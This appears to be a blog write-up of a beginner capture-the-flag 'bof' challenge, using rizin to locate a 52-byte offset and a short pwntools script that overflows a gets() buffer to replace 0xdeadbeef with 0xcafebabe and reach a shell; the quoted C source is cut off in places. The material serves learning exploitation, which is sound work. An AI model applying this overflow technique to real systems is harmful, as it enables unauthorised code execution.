DEV Community

loading... - Bof: Write-Up (with rizin and pwntools)

christalib profile image chris Updated on ・3 min read

This was such as cool challenge to practice reading Assembly!

Generally speaking, this challenge is a bit different that the usual beginner buffer overflow challenge as there a some tricks present.

For example, the binary has PIE and canaries enabled, so you'd think a buffer overflow wouldn't be possible. That's where you're wrong kid! (I was so wrong).

The approach is based on 3 steps:

  1. identify the vulnerable function
  2. identify the buffer
  3. write the exploit

The code

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
int main(int argc, char* argv[]){
    return 0;

Enter fullscreen mode Exit fullscreen mode

It's pretty obvious what we should do:

  • function func is called with the 0xdeadbeef argument.
  • if the argument is equal to 0xcafebabe, it will unlock a shell. Otherwise, it will just tell you "Nah..".

Getting into the code

Let's check the code:

~ checksec bof
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Enter fullscreen mode Exit fullscreen mode

(checksec is part of the pwntools suite)

Checking the imports with rz-bin -i bof gives us this result:

nth vaddr      bind   type   lib name
1   0x000004c0 GLOBAL FUNC       gets
2   0x000004d0 GLOBAL FUNC       __stack_chk_fail
3   0x000004e0 WEAK   FUNC       __cxa_finalize
4   0x000004f0 GLOBAL FUNC       puts
5   0x00000500 GLOBAL FUNC       system
6   0x00000510 WEAK   NOTYPE     __gmon_start__
7   0x00000520 GLOBAL FUNC       __libc_start_main
8   0x00000000 WEAK   NOTYPE     _Jv_RegisterClasses

Enter fullscreen mode Exit fullscreen mode

So we know already there is the gets function that is usually the culprit in buffer overflow attacks but that there is also stack_chk_fail so we cannot smash the stack like we want as it will be blocked by this failsafe.

Let's open that with rizin: rizin -A bof (with full analysis) and get all functions:

all functions

Then disassemble main() and func():

disassemble main and func

Nothing really new, let's try to run that binary. Without leaving rizin, run ood to relaunch in debug and let's add a break point just at the var = dword [arg_8h] - 0xcafebabe instruction with db addr (the address might change on your computer).

Now, run dc to start the debugging process.

hitting breakpoint

Now let's check the registers with drr:


So here, eax has pouet as a value (what we entered) and esp points to eax.

0xcafebabe will be compared to the argument of the function (0xdeadbeef) and if it's true, then we'll get the system call. But it's impossible so far as the argument is already set.

Allowing us to write something is just useful for the exercise not the code itself.

So if we manage to overwrite 0xdeadbeef and replace it by 0xcafebabe we'll get access to the system call.

0xdeadbeef is locate in ebp +8, let's check that out:

xw 4 @ ebp+8

And eax:

xw 4 @ eax

We have now two memory addresses: 0xff8e9c5c and 0xff8e9c90 that are not too far from each other. To know the distance, let's calculate it:

?w addr1-addr2

?w will show what's in an address. I found some tutorial using ?X but that didn't make sense to me. To see the help of those commands use ???.

So the difference between the two addresses is 52 bytes. That'd be our buffer.


Using pwntools:

from pwn import *

context.update(arch="i386", os="linux")
e = ELF("./bof")

payload = b"A" * 52 + p32(0xcafebabe, endian="little")

p = e.process(level="error")
# overflow me:
Enter fullscreen mode Exit fullscreen mode

I found a lot of cool new techniques for pwntools here.

And that's it! It works locally and you'll have to modify the code for the remote exploit yourself, but it isn't too hard, don't worry!

Discussion (0)

Editor guide